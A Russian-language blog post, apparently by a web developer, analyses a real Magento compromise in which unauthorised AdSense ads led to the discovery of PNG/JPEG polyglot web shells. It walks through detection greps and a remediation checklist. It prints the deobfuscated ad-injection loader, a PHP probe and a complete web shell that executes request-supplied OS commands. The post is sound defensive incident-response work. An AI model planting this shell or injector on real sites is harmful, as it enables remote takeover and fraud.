Skip to content
Назад в блог

Неавторизованная реклама на сайте: как найти взлом и веб-шеллы (разбор реального кейса)

5 мин. чтения
Неавторизованная реклама на сайте: как найти взлом и веб-шеллы (разбор реального кейса)

Владелец интернет-магазина прислал видео: на сайте иногда вылезает реклама Google, которую он точно не подключал. Ни в настройках, ни в коде — вроде бы ничего необычного. Разобрали этот кейс по шагам: от первой проверки без доступа к серверу до обнаружения работающего веб-шелла с удалённым выполнением команд. Получился практический чек-лист для похожей ситуации.

Шаг 1. Проверка без доступа к серверу

Прежде чем лезть по SSH, есть бесплатный способ проверить домен за секунды — Sucuri SiteCheck (sitecheck.sucuri.net). Он сканирует отдаваемый HTML на известные сигнатуры malware/ad injection и blacklist-статус в Google Safe Browsing. Не требует доступа к серверу, подходит как первый шаг перед тем, как тревожить хостинг.

Шаг 2. Grep по базе данных

Если сайт на CMS (Magento, WordPress, любая другая с хранением конфигурации в БД) — реклама может быть внедрена через настройки, CMS-блоки или виджеты, а не только через файлы. Проверяем типичные места:

-- конфигурация: подозрительные ключи и обфусцированный контент
SELECT path, value FROM core_config_data
WHERE path LIKE '%script%' OR path LIKE '%head%' OR path LIKE '%footer%'
   OR value LIKE '%<script%' OR value LIKE '%googlesyndication%'
   OR value LIKE '%adsbygoogle%' OR value LIKE '%doubleclick%';

-- CMS-блоки и статичные страницы
SELECT block_id, title FROM cms_block WHERE content LIKE '%<script%';
SELECT page_id, title FROM cms_page WHERE content LIKE '%<script%';

Для WordPress эквивалент — wp_options (поля widget_text, widget_custom_html) и таблица wp_posts на предмет вставленных <script>.

В нашем случае база оказалась чистой: ни adsbygoogle, ни pagead, ни doubleclick, ни push-сетей. Единственная активная Google-интеграция — легитимный Google Tag Manager. Важный момент: если реклама идёт через GTM, конкретный рекламный тег может быть настроен прямо в аккаунте Tag Manager (tagmanager.google.com) — это вообще не хранится в базе сайта, и его нужно проверять отдельно, внутри самого GTM-контейнера.

Шаг 3. Grep по файлам на сервере

Раз в базе чисто, переходим на файловый уровень:

# сигнатуры известных рекламных/malware-сетей в коде
grep -rlE "adsbygoogle|googlesyndication|doubleclick|pagead2|propellerads|popads|onesignal" \
  --include="*.php" --include="*.phtml" --include="*.js" /path/to/site/

# обфусцированные инъекции — классический паттерн заражения
grep -rlE "eval\(base64_decode|eval\(gzinflate|eval\(str_rot13" --include="*.php" /path/to/site/

Нашёлся один файл — requirejs/mixins.js в скомпилированной статике темы. Файл маскировался под штатный core-файл (тот же комментарий копирайта), но после него был приклеен упакованный (eval(function(p,a,c,k,e,d)...)) JS-загрузчик.

Расшифровка обфусцированного payload

После деобфускации логика оказалась предельно простой и объясняла, почему реклама выглядела "случайной":

function isFromGoogle() {
  return document.referrer.includes('google.');   // пришёл по ссылке из поиска
}

function canShowAd() {
  const last = localStorage.getItem('lastAdShown');
  const now = Date.now();
  if (!last) return true;
  return (now - last) >= 7 * 24 * 60 * 60 * 1000;  // не чаще раза в неделю на браузер
}

if (isFromGoogle() && canShowAd()) {
  const script = document.createElement('script');
  script.async = true;
  script.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-XXXXXXXXXXXXXXXXX";
  script.crossOrigin = "anonymous";
  document.head.appendChild(script);
  localStorage.setItem('lastAdShown', now);
}

Ключевой инсайт: publisher ID в коде принадлежал не владельцу сайта, а атакующему. Классическая монетизация взломанных сайтов — подставить свой AdSense-аккаунт в чужой трафик и получать выплаты с показов. Условие "только из Google-referrer, не чаще раза в неделю" сделано намеренно, чтобы владелец сайта не поймал проблему при обычном заходе напрямую.

Шаг 4. Ищем точку входа — веб-шеллы

Раз в исходниках темы/модулей (app/, vendor/) той же сигнатуры не нашлось — заражение было разовой правкой скомпилированного файла, а не встроенным бэкдором в поставке темы. Дальше стандартная проверка — недавно изменённые исполняемые файлы и файлы там, где их не должно быть:

# PHP-файлы в папке для загрузки картинок — там их быть не должно
find /path/to/site/pub/media -iname "*.php" -o -iname "*.phtml"

# недавно изменённые файлы
find /path/to/site -name "*.php" -newermt "2026-08-01" -not -path "*/vendor/*"

Нашлось около 90 файлов в директории, куда Magento сохраняет файлы, приложенные покупателем к товару (кастомные опции чекаута) — по идее там должны быть только картинки.

Шаг 5. Анализ находок — PNG/JPEG-полиглоты

Важно: файлы с сервера анализировались только через cat/file, ни один не запускался. Содержимое раскрыло технику атаки — так называемые полиглот-файлы: валидный заголовок PNG/JPEG (проходит проверку типа при загрузке) + PHP-код внутри текстового чанка изображения (tEXtComment у PNG). Если сервер где-то интерпретирует такой файл как PHP — интерпретатор просто сканирует байты на <?php ... ?> независимо от того, что вокруг, и выполняет код.

Среди файлов оказалось несколько типов:

Зонды (проверяют, исполняется ли файл как PHP):

<?php echo 'PROBE_'.'OK_'.PHP_VERSION; ?>

Маркеры инструмента (текстовый комментарий в PNG, без кода — "здесь получилось", оставлено автоматическим тулом):

tEXtComment: Nxploited-Here

Несколько таких маркеров с разными датами за 4 месяца — значит один и тот же инструмент/скан периодически перепроверял доступ.

Рабочий веб-шелл — полноценное удалённое выполнение команд ОС:

<?php @error_reporting(0); @set_time_limit(0);
if (isset($_REQUEST['c'])) {
    $cmd = $_REQUEST['c'];
    if (function_exists('system'))          { @system($cmd); }
    elseif (function_exists('shell_exec'))  { echo @shell_exec($cmd . ' 2>&1'); }
    elseif (function_exists('exec'))        { @exec($cmd, $out); echo implode("\n", $out); }
    elseif (function_exists('passthru'))    { @passthru($cmd); }
}
?>

И отдельно — файл, который злоупотреблял внутренним error-процессором Magento, форсируя подключение произвольного файла через Magento\Framework\Error\ProcessorFactory. Эта конкретная техника (загрузка "картинки" с PHP-полезной нагрузкой в предсказуемый media-путь + форсирование её подключения через error-обработчик) практически один в один совпадает с публично описанной цепочкой эксплуатации CosmicSting (CVE-2024-34102) — XXE+LFI уязвимости в Magento/Adobe Commerce, массово эксплуатировавшейся ботами с 2024 года на непропатченных инсталляциях.

Почему прямое исполнение шеллов не сработало

При проверке access-логов почти все попытки вызвать эти файлы напрямую по HTTP отдавали 403. Причина — штатный .htaccess Magento в этой директории (Require all denied), который блокирует прямой доступ по умолчанию. Это важный урок: наличие защитного .htaccess не означает, что взлома не было — файлы были загружены (уязвимость в приёме файлов реальна и требует патча), но конкретно эти попытки исполнения оказались заблокированы базовой защитой. Реальный вектор, которым атакующий всё же получил RCE (судя по совпадению с CosmicSting — вероятно через REST API, а не прямой запрос к файлу), в доступных логах ротации не сохранился.

Чек-лист: что делать по порядку

#ДействиеЗачем
1Онлайн-сканер (Sucuri SiteCheck)Быстрая проверка без доступа к серверу
2Grep по БД (конфиги, CMS-блоки, виджеты)Реклама может быть в контенте, а не в файлах
3Проверить сторонние теги в GTM/аналитике напрямую в их кабинетахТег может не храниться в базе сайта вообще
4Grep по файлам на известные сигнатуры + обфускациюНайти заражённые файлы в теме/плагинах
5Найти PHP-файлы там, где должны быть только картинки (media/, uploads/)Классическое место для веб-шеллов
6Проверить .htaccess на клоакинг (реклама по User-Agent/Referer)Объясняет, почему владелец сам не видит проблему
7Проверить активные админ-аккаунты и их логиныЗабытые аккаунты подрядчиков — частый вектор
8Точечно вырезать вредоносный код из заражённого файла (не пересобирать всё сразу)Минимизирует риск сломать прод во время лечения
9Ротация credentials: API-ключи платёжных шлюзов, пароли админки/хостинга/БДRCE = все секреты нужно считать скомпрометированными
10Патчить саму уязвимость (или обновить CMS)Иначе заражение вернётся при следующем скане

Когда патчить, а когда нет

Если система в любом случае скоро выводится из эксплуатации (например, идёт миграция на новую платформу и старый сервер будет удалён) — тратить время на полный патч устаревшей CMS часто непропорционально усилиям. Но есть вещи, которые переживают сам сервер и требуют внимания независимо от сроков:

  • API-ключи платёжных шлюзов — рабочий ключ продолжает функционировать и после удаления сервера, если его не отозвать
  • Пароли, переиспользуемые в других системах — если тот же пароль стоит на новом окружении
  • Данные клиентов в базе — если есть основания считать, что база могла быть прочитана через RCE, это уже вопрос не техники, а того, нужно ли информировать пользователей

Дешёвый способ снизить риск на оставшийся срок жизни системы без полного патчинга — ограничить доступ к административным путям по IP через .htaccess, пока сайт не выведен из эксплуатации.

Итог

Неавторизованная реклама на сайте — это почти никогда "просто реклама". Она либо симптом более широкого заражения (как в этом случае — рабочий веб-шелл с RCE), либо явный признак скомпрометированного администраторского доступа. Расследование стоит вести по уровням — от базы данных до файловой системы — и не останавливаться на первом найденном файле: обфусцированный JS в теме был лишь верхушкой, а настоящая проблема (открытая уязвимость с историей эксплуатации за несколько месяцев) обнаружилась только после того, как нашли и статически проанализировали сами загруженные файлы.

Частые вопросы

Почему неавторизованная реклама показывается не всем посетителям сайта?

Часто инъекция специально ограничена условием (например, показывать только тем, кто пришёл из поиска Google, и не чаще раза в неделю на браузер через localStorage). Это сделано, чтобы владелец сайта дольше не заметил проблему при обычных проверках.

С чего начать поиск источника рекламы на сайте?

С бесплатного онлайн-сканера (например, Sucuri SiteCheck) без доступа к серверу. Дальше — grep по базе данных (CMS-блоки, конфиги, виджеты) и по файлам темы/плагинов на сигнатуры adsbygoogle, googlesyndication, doubleclick, eval(base64_decode.

Что такое PNG/JPEG-полиглот в контексте веб-шеллов?

Файл, который начинается с валидного заголовка картинки (проходит проверку типа файла при загрузке), но содержит PHP-код внутри текстового чанка (например, tEXtComment у PNG). Если сервер интерпретирует такой файл как PHP, код выполнится, несмотря на то что файл выглядит как изображение.

Стоит ли патчить уязвимость, если сайт всё равно скоро будет выведен из эксплуатации?

Полный патчинг обычно не стоит усилий. Но credentials, которые переживают сервер (API-ключи платёжного шлюза, пароли, переиспользуемые в других системах), нужно ротировать в любом случае — они продолжают работать и после удаления старого сервера.

Автор

Fullstack Engineer

В коммерческой разработке с 2011 года — больше 15 лет. Автор двух SaaS-продуктов: TeleGo.io и LingvoHabit.com. Статьи здесь выросли из реальной клиентской и продуктовой работы.

Подробнее об автореНаписать в Telegram

Похожие статьи

NGINX BUILDER
NGINX BUILDER · '26

nginx Builder: как event-driven архитектура ответила на C10K

Как проблема C10K привела Игоря Сысоева к архитектуре nginx и почему её нужно сравнивать с Apache 1.3, а не с современным Apache.

#Nginx Builder #Igor Sysoev #C10K problem #nginx конфигурация #reverse proxy #веб-сервер
5 мин. чтения
SSL TLS ИСТОРИЯ
SSL TLS ИСТОРИЯ · '26

Что браузер проверяет в TLS-сертификате

Как SSL стал TLS, зачем интернету X.509, цепочки доверия и SAN и почему Let’s Encrypt изменил не только цену, но и процесс выпуска сертификатов.

#SSL TLS история #X.509 сертификаты #Let's Encrypt #SAN домены #как работает SSL #PEM сертификат
5 мин. чтения
NUMBER BASE CONVERTER
NUMBER BASE CONVERTER · '26

Как компьютер представляет числа: биты, hex и IEEE 754

Почему одно число записывают как 45, 101101 и 2D, откуда взялись двоичная, восьмеричная и hex-системы и чем IEEE 754 отличается от них.

#Number Base Converter #IEEE 754 #двоичная система #шестнадцатеричная система #дополнительный код #римские цифры #ивритская гематрия #греческие цифры #история математики
5 мин. чтения